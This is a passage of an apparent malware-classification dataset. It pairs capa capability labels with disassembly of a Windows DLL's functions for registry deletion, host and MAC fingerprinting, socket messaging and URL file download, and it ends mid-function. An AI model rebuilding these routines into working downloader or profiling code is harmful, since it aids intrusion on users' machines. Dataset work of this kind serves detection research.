joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800063e0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, qword [r8]
mov rsi, rdx
mov rdi, rcx
lea r8, [rsp + 0x40]
mov r9d, 0x100
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x180006471
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r9d, 0x2001f
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180006457
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1800063e0
lea r8, [rsp + 0x40]
mov r9d, 0x100
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x180006420
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.180017f70
add rsp, 0x150
pop rdi
pop rsi
pop rbx
ret

Function at 0x1800068f0
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub rsp, 0x28
cmp qword [0x18003df90], 0
je 0x180006908
mov eax, 1
add rsp, 0x28
ret
mov rcx, qword [0x18003dfa0]
mov qword [rsp + 0x20], rbx
test rcx, rcx
jne 0x180006954
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rbx, rax
test rax, rax
jne 0x180006931
xor ecx, ecx
jmp 0x18000694d
xor ecx, ecx
mov rdx, rax
mov dword [rax + 4], ecx
mov ecx, 0x100
call fcn.180001120
mov rcx, rbx
mov qword [rbx + 8], rax
mov byte [rax], 0
mov qword [0x18003dfa0], rcx
mov edx, dword [rcx]
mov rcx, qword [rcx + 8]
dec edx
call qword [sym.imp.WS2_32.dll_gethostname]
mov rdx, qword [0x18003dfa0]
lea rcx, str.hostname_:_s
mov rdx, qword [rdx + 8]
call fcn.180003e40
mov rcx, qword [0x18003dfa0]
mov rcx, qword [rcx + 8]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1800069e6
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ebx, dword [rcx]
test bl, bl
je 0x180006a06
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, rax
call fcn.1800018c0
mov rdx, qword [0x18003dfa0]
lea rcx, str._s__s__08X
mov rdx, qword [rdx + 8]
mov r8, qword [rax + 8]
mov r9d, ebx
mov qword [0x18003df90], rax
mov dword [0x18003dfa8], ebx
call fcn.180003e40
mov rbx, qword [rsp + 0x20]
mov eax, 1
add rsp, 0x28
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rdx, qword [0x18003dfa0]
lea rcx, str.gethostbyname_errors__s__d
mov rdx, qword [rdx + 8]
mov r8d, eax
call fcn.180003e40
xor eax, eax
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
ret
Function at 0x180006a20
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor ebx, ebx
lea rax, [rsp + 0x40]
mov rdi, rcx
lea rdx, str.SYSTEMCurrentControlSetControlNetwork4D36E972_E325_11CE_BFC1_08002BE10318
mov esi, 1
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180006b34
lea rdx, str._sConnection
lea rcx, [rsp + 0x50]
mov r8, rdi
call fcn.180017f90
mov rcx, qword [rsp + 0x40]
lea r11, [rsp + 0x38]
lea rdx, [rsp + 0x50]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180006b29
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
lea rdx, str.PnpInstanceID
xor r8d, r8d
mov dword [rsp + 0x30], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180006b1e
lea r8d, [rbx + 3]
lea rdx, [0x180032d00]
lea rcx, [rsp + 0x50]
call fcn.180019610
test eax, eax
cmove ebx, esi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180017f70
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180006b60
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x2c0
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor ebx, ebx
lea rax, [rsp + 0x68]
mov rsi, rcx
lea rdx, str.SYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002BE10318
mov ebp, 1
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x64], ebx
mov dword [rsp + 0x7c], ebp
mov dword [rsp + 0x78], 4
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180006da0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x2d8], rdi
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [rsp + 0x60], ebx
mov edi, ebx
jle 0x180006d8d
nop
lea rcx, [rsp + 0x91]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x88], 0x104
mov byte [rsp + 0x90], bl
call fcn.18001faa0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x88]
lea r8, [rsp + 0x90]
mov edx, edi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x70]
lea rdx, [rsp + 0x90]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180006d2b
lea rcx, [rsp + 0x1a1]
xor edx, edx
mov r8d, 0x104
mov byte [rsp + 0x1a0], bl
call fcn.18001faa0
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x64]
lea r9, [rsp + 0x7c]
lea rdx, str.NetCfgInstanceId
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1a0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x64], 0x104
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180006d20
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.180018124
test rax, rax
jne 0x180006d39
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc edi
cmp edi, dword [rsp + 0x60]
jl 0x180006c30
jmp 0x180006d8d
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x80]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x84]
lea rdx, str.Characteristics
xor r8d, r8d
mov dword [rsp + 0x80], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180006d8d
movzx ecx, byte [rsp + 0x84]
and cl, 4
cmp cl, 4
cmove ebx, ebp
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0x2d8]
mov eax, ebx
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.180017f70
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rsi
ret
Function at 0x1800070f0
Capabilities:
Get mac address on windows

Disassembly:
push rbp
push r13
push r14
sub rsp, 0x50
or r13d, 0xffffffff
call fcn.1800068f0
mov ecx, 0x2c0
mov r14d, eax
call fcn.18001806c
cmp qword [0x18003df98], 0
mov rbp, rax
mov dword [rsp + 0x70], 0x2c0
je 0x180007131
xor eax, eax
add rsp, 0x50
pop r14
pop r13
pop rbp
ret
lea rcx, str.GetMacByAdapters
call fcn.180003e40
lea rdx, [rsp + 0x70]
mov rcx, rbp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x180007163
mov rcx, rbp
call fcn.18001802c
mov ecx, dword [rsp + 0x70]
call fcn.18001806c
mov rbp, rax
lea rdx, [rsp + 0x70]
mov rcx, rbp
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r12
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x180007310
mov rdi, rbp
test rbp, rbp
je 0x18000731d
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
nop dword [rax + rax]
lea rcx, [rdi + 0xc]
call fcn.180006a20
test eax, eax
jne 0x1800071d2
lea rcx, [rdi + 0xc]
call fcn.180006b60
test eax, eax
jne 0x1800071d2
cmp qword [rdi], 0
je 0x1800071d2
lea rdx, [rdi + 0xc]
lea rcx, [0x180032e30]
call fcn.180003e40
jmp 0x180007210
xor esi, esi
lea rbx, [rdi + 0x1b8]
test r14d, r14d
je 0x180007222
test rbx, rbx
je 0x1800071ff
lea rcx, [rbx + 8]
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, dword [0x18003dfa8]
je 0x18000721d
mov rbx, qword [rbx]
test rbx, rbx
jne 0x1800071e5
cmp qword [rdi], rsi
je 0x180007222
lea rcx, [0x180032e10]
call fcn.180003e40
mov rdi, qword [rdi]
test rdi, rdi
jne 0x1800071a0
jmp 0x180007303
mov esi, 1
lea rcx, str.bGetIP__d_bMatchAddress__d
mov r8d, esi
mov edx, r14d
call fcn.180003e40
test rbx, rbx
je 0x18000727a
mov rcx, qword [0x18003df90]
test rcx, rcx
jne 0x180007263
lea rcx, [rbx + 8]
call fcn.1800018c0
lea rcx, [0x180032de0]
mov qword [0x18003df90], rax
call fcn.180003e40
jmp 0x1800072b3
lea rdx, [rbx + 8]
call fcn.180001ab0
lea rcx, [0x180032de0]
call fcn.180003e40
jmp 0x1800072b3
mov rcx, qword [0x18003df90]
test rcx, rcx
jne 0x18000729b
lea rcx, [rdi + 0x1c0]
call fcn.1800018c0
mov qword [0x18003df90], rax
jmp 0x1800072a7
lea rdx, [rdi + 0x1c0]
call fcn.180001ab0
lea rcx, [0x180032df0]
call fcn.180003e40
movzx ecx, byte [rdi + 0x19c]
movzx eax, byte [rdi + 0x19d]
movzx r10d, byte [rdi + 0x19b]
movzx r9d, byte [rdi + 0x19a]
movzx r8d, byte [rdi + 0x199]
movzx edx, byte [rdi + 0x198]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rcx, str._02x__02x__02x__02x__02x__02x
mov dword [rsp + 0x20], r10d
call fcn.180001930
xor r13d, r13d
mov qword [0x18003df98], rax
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
test rbp, rbp
je 0x18000731d
mov rcx, rbp
call fcn.18001802c
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov eax, r13d
add rsp, 0x50
pop r14
pop r13
pop rbp
ret
Function at 0x180007410
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
mov rbx, rdx
test rdx, rdx
jne 0x180007454
mov rcx, qword [0x18003be50]
call fcn.1800010a0
mov rbx, rax
test rax, rax
jne 0x18000743d
mov rbx, rdi
jmp 0x180007454
mov rdx, rax
mov ecx, 0x106
mov dword [rax + 4], edi
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], dil
mov edx, dword [rbx]
cmp edx, 0x105
jge 0x18000747e
mov rcx, qword [rbx + 8]
call fcn.180001240
mov rdx, rbx
mov ecx, 0x107
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], dil
mov dword [rbx + 4], edi
movsxd r8, dword [rbx]
mov rcx, qword [rbx + 8]
xor edx, edx
call fcn.18001faa0
mov rdx, qword [rbx + 8]
xor r9d, r9d
lea r8d, [r9 + 0x24]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov rdi, qword [rbx + 8]
or rcx, 0xffffffffffffffff
xor eax, eax
lea r8, [0x180032a1c]
lea rdx, [0x180032a18]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov dword [rbx + 4], ecx
mov rcx, rbx
call fcn.180001c50
movsxd rcx, dword [rbx + 4]
mov rax, qword [rbx + 8]
cmp byte [rcx + rax - 1], 0x2f
je 0x1800074ee
lea rdx, [0x180032a1c]
mov r8d, 1
mov rcx, rbx
call fcn.180001440
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000d360
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp byte [0x18003e000], 0
mov edi, ecx
jne 0x18000d459
lea rbx, [0x18003e000]
mov edx, 0x100
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test edi, edi
jne 0x18000d3ba
mov rax, qword [str.C:_Windows_SysWOW64_]
mov qword [rbx], rax
mov rax, qword [0x180033150]
mov qword [rbx + 8], rax
mov eax, dword [0x180033158]
mov dword [rbx + 0x10], eax
movzx eax, byte [0x18003315c]
mov byte [rbx + 0x14], al
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
dec rcx
test ecx, ecx
jle 0x18000d3f9
mov rdx, rbx
cmp byte [rdx], 0x5c
jne 0x18000d3dd
mov byte [rdx], 0x2f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
inc r8d
inc rdx
not rcx
dec rcx
cmp r8d, ecx
jl 0x18000d3d5
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp byte [rcx + rbx - 2], 0x2f
je 0x18000d422
mov rdi, rbx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180032a1c]
mov word [rdi - 1], ax
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rcx, qword [str.rundll32.exe]
mov rax, rbx
mov qword [rdi - 1], rcx
mov ecx, dword [0x180033168]
mov dword [rdi + 7], ecx
movzx ecx, byte [0x18003316c]
mov byte [rdi + 0xb], cl
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rax, [0x18003e000]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000d780
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov rbx, qword [rcx + 8]
mov r12, rdx
mov rbp, rcx
lea r8, [rbx + 0x333c4]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov rsi, rax
test rax, rax
jne 0x18000d7d9
lea r8, [rbx + 0x333c4]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rsi, rax
test rax, rax
je 0x18000d7e5
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rbp + 8]
xor edi, edi
xor eax, eax
add rbx, 4
cmp dword [rbx], 0xffffffff
je 0x18000d80a
inc rax
inc edi
add rbx, 0x1004
cmp rax, 0x1e
jl 0x18000d7f1
jmp 0x18000d831
lea rcx, str.RCallAdd__s
mov rdx, r12
call fcn.180003e40
lea rcx, [rbx + 4]
mov r8d, 0xfff
mov rdx, r12
call fcn.180018920
mov dword [rbx], 0
test rsi, rsi
je 0x18000d83f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
or eax, 0xffffffff
cmp edi, 0x1e
cmove edi, eax
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x18000dd30
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r13
push r14
sub rsp, 0x50
xor edi, edi
mov rsi, r9
mov r13, r8
mov rbp, rdx
mov r14, rcx
test rcx, rcx
jne 0x18000dd5d
xor eax, eax
jmp 0x18000de83
mov qword [rsp + 0x78], r12
test r8, r8
je 0x18000de7c
test rdx, rdx
je 0x18000de7c
mov r12, qword [rsp + 0x90]
test r12, r12
je 0x18000de7c
mov rcx, r9
mov qword [rsp + 0x70], rbx
call fcn.180002040
mov rbx, rax
test rax, rax
je 0x18000ddee
mov rcx, rax
call fcn.180001f40
mov r8, qword [rbx + 8]
mov r11, rbp
sub r8, rbp
nop dword [rax]
movzx edx, byte [r11]
movzx ecx, byte [r11 + r8]
sub edx, ecx
jne 0x18000ddc4
inc r11
test ecx, ecx
jne 0x18000ddb0
test edx, edx
jne 0x18000ddcd
lea edi, [rdx + 1]
jmp 0x18000dde6
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, rsi
call fcn.1800039c0
or ecx, 0xffffffff
cmp al, 1
cmove edi, ecx
mov rcx, rbx
call fcn.180001800
mov rbx, qword [rsp + 0x98]
mov dword [rsp + 0x30], edi
lea rcx, [0x180033210]
mov r9, r13
mov r8, rbp
mov rdx, rbx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rsi
call fcn.180003e40
mov r11, qword [rsp + 0xb8]
mov rax, qword [rsp + 0xb0]
mov r9, r12
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa0]
mov r8, rsi
mov qword [rsp + 0x30], rax
mov rdx, r13
mov rcx, rbp
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], edi
call fcn.18000d8e0
mov rcx, rax
mov rdx, r14
call fcn.1800022b0
mov rbx, qword [rsp + 0x70]
mov rax, r14
jmp 0x18000de7e
xor eax, eax
mov r12, qword [rsp + 0x78]
lea r11, [rsp + 0x50]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rdi
ret
Function at 0x18000e140
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x250
mov esi, dword [rsp + 0x290]
mov rdi, rcx
mov r12, r9
movzx ecx, si
mov byte [rax + 0x13], r8b
mov byte [rax + 0x12], dl
call qword [sym.imp.WS2_32.dll_htons]
xor r13d, r13d
mov word [rsp + 0x278], ax
mov ebx, r13d
nop word [rax + rax]
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x40]
lea ecx, [rdi + 1]
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], r13d
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x18000e22f
lea rdx, [rsp + 0x40]
mov rcx, rdi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18000e22f
movsxd rax, ebx
mov r8d, 4
xor r9d, r9d
lea rdx, [rsp + rax + 0x278]
sub r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000e22f
add ebx, eax
cmp ebx, 4
jl 0x18000e190
test esi, esi
jle 0x18000e22b
mov r9d, 0x3e8
mov r8d, esi
mov rdx, r12
mov rcx, rdi
call fcn.1800042d0
cmp esi, eax
je 0x18000e22b
mov eax, 0xfffffffe
jmp 0x18000e232
xor eax, eax
jmp 0x18000e232
or eax, 0xffffffff
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret

Function at 0x18000e250
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x240
xor r13d, r13d
mov rsi, r8
mov rbp, rdx
mov ebx, r13d
mov rdi, rcx
nop word [rax + rax]
lea rax, [rsp + 0x268]
lea rdx, [rsp + 0x30]
lea ecx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x268], 3
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x26c], r13d
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x18000e365
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x18000e365
mov r8d, 4
movsxd rdx, ebx
xor r9d, r9d
sub r8d, ebx
add rdx, rbp
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x18000e34d
add ebx, eax
cmp ebx, 4
jl 0x18000e280
movzx ecx, word [rbp]
call qword [sym.imp.WS2_32.dll_htons]
movzx ebx, ax
mov eax, dword [rsi]
dec eax
cmp ebx, eax
jle 0x18000e329
lea edx, [rbx + 1]
mov rcx, rsi
call fcn.180001870
test ebx, ebx
jle 0x18000e35e
mov rdx, qword [rsi + 8]
mov r9d, 0x7d0
mov r8d, ebx
mov rcx, rdi
call fcn.1800043a0
cmp eax, ebx
je 0x18000e35e
mov eax, 0xfffffffe
jmp 0x18000e36a
cmp eax, 0xfffffc88
je 0x18000e365
cmp eax, 4
je 0x18000e309
or eax, 0xffffffff
jmp 0x18000e36a
mov dword [rsi + 4], ebx
xor eax, eax
jmp 0x18000e36a
mov eax, 1
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x18000ecc0
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rbx, [rcx + 8]
mov word [rcx + 2], dx
lea rax, [rcx + 0x18]
mov qword [rbx], 0
mov edx, reloc.WS2_32.dll_inet_ntoa
nop word [rax + rax]
mov qword [rax], 0xffffffffffffffff
mov qword [rax + 8], 0xffffffffffffffff
mov qword [rax + 0x10], 0xffffffffffffffff
add rax, 0x40
dec rdx
mov qword [rax - 0x28], 0xffffffffffffffff
mov qword [rax - 0x20], 0xffffffffffffffff
mov qword [rax - 0x18], 0xffffffffffffffff
mov qword [rax - 0x10], 0xffffffffffffffff
mov qword [rax - 8], 0xffffffffffffffff
jne 0x18000ecf0
mov qword [rax], 0xffffffffffffffff
mov qword [rax + 8], 0xffffffffffffffff
mov qword [rax + 0x10], 0xffffffffffffffff
mov qword [rax + 0x18], 0xffffffffffffffff
lea rax, [rsp + 0x48]
mov r9, rcx
mov byte [rcx], 1
mov qword [rsp + 0x28], rax
lea r8, [0x18000eb20]
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x18000eda4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
test rbx, rbx
je 0x18000eda6
mov qword [rbx], rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18000edc0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x48], rax
movzx r15d, r8b
mov r12, rdx
lea r13, [rcx + 0x18]
xor r14d, r14d
cmp qword [r13], 0xffffffffffffffff
je 0x18000ef05
mov eax, dword [r12 + 0xc]
xor edi, edi
xor esi, esi
test eax, eax
jle 0x18000eed7
cmp edi, eax
jge 0x18000ee21
test rsi, rsi
js 0x18000ee21
mov rax, qword [r12 + 0x10]
mov rbx, qword [rax + rsi*8]
jmp 0x18000ee23
xor ebx, ebx
cmp dword [rbx + 0x48], 0
jne 0x18000ee62
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x18]
mov rcx, qword [r13]
mov r8, qword [r8 + 8]
mov rdx, qword [rdx + 8]
call fcn.18000e390
mov ebp, eax
test eax, eax
jne 0x18000ee50
mov dword [rbx + 0x48], 1
jmp 0x18000ee62
mov rcx, qword [rbx + 0x18]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test ebp, ebp
js 0x18000ee72
mov eax, dword [r12 + 0xc]
inc edi
inc rsi
cmp edi, eax
jl 0x18000ee11
jmp 0x18000eed7
mov rcx, qword [r13]
lea r8, [rsp + 0x24]
lea rdx, [rsp + 0x28]
mov dword [rsp + 0x24], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getpeername]
movzx ecx, word [rsp + 0x2a]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [r13]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x38]
movzx ebx, ax
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getpeername]
mov ecx, dword [rsp + 0x3c]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [0x1800333b8]
mov r9d, ebx
mov r8, rax
mov edx, r14d
call fcn.180003e40
mov rcx, qword [r13]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [r13]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [r13], 0xffffffffffffffff
cmp r15b, 1
jne 0x18000ef05
cmp edi, dword [r12 + 0xc]
je 0x18000ef16
inc r14d
add r13, 8
cmp r14d, 0x64
jl 0x18000edf1
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180017f70
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f0b0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x30
mov rbx, rdx
call fcn.18000dea0
mov rsi, rax
test rax, rax
je 0x18000f1e4
mov r9, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
lea rcx, [0x1800333f0]
mov r9, qword [r9 + 8]
mov r8, qword [r8 + 8]
mov rdx, rbx
mov qword [rsp + 0x40], rdi
call fcn.180003e40
mov rdx, qword [rsi + 0x18]
mov rax, qword [rsi + 0x10]
mov r8, qword [rdx + 8]
xor r9d, r9d
mov rdx, qword [rax + 8]
xor ecx, ecx
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileA
mov edi, eax
test eax, eax
je 0x18000f147
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._08X___d
mov edx, edi
mov r8d, eax
call fcn.180003e40
mov eax, 0xfffffd11
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rsi
ret
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 5
jb 0x18000f137
mov rcx, qword [rsi + 0x18]
mov rcx, qword [rcx + 8]
call fcn.180002040
mov rdi, rax
test rax, rax
